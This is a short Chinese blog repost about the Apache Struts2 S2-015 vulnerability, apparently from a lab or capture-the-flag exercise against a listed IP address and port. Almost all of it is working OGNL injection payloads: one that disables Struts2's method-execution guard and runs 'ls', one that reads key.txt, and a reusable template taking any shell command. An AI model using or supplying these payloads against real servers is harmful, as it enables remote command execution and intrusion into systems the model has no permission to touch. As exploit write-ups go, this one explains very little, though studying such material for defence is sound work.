Struts2-命令-代码执行突破分析系列S2-015
Posted Ananss
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Struts2-命令-代码执行突破分析系列S2-015相关的知识,希望对你有一定的参考价值。
测试漏洞
http://219.153.49.228:45828/${1+2}.action
表达式进行了计算,表示漏洞存在,开始构造exp
读取当前文件夹的文件
${#context[‘xwork.MethodAccessor.denyMethodExecution‘]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls‘).getInputStream()),#q}.action
读取key.txt
${#context[‘xwork.MethodAccessor.denyMethodExecution‘]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘cat key.txt‘).getInputStream()),#q}.action
Exp代码:
${#context[‘xwork.MethodAccessor.denyMethodExecution‘]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘[命令]‘).getInputStream()),#q}.action
以上是关于Struts2-命令-代码执行突破分析系列S2-015的主要内容,如果未能解决你的问题,请参考以下文章
漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)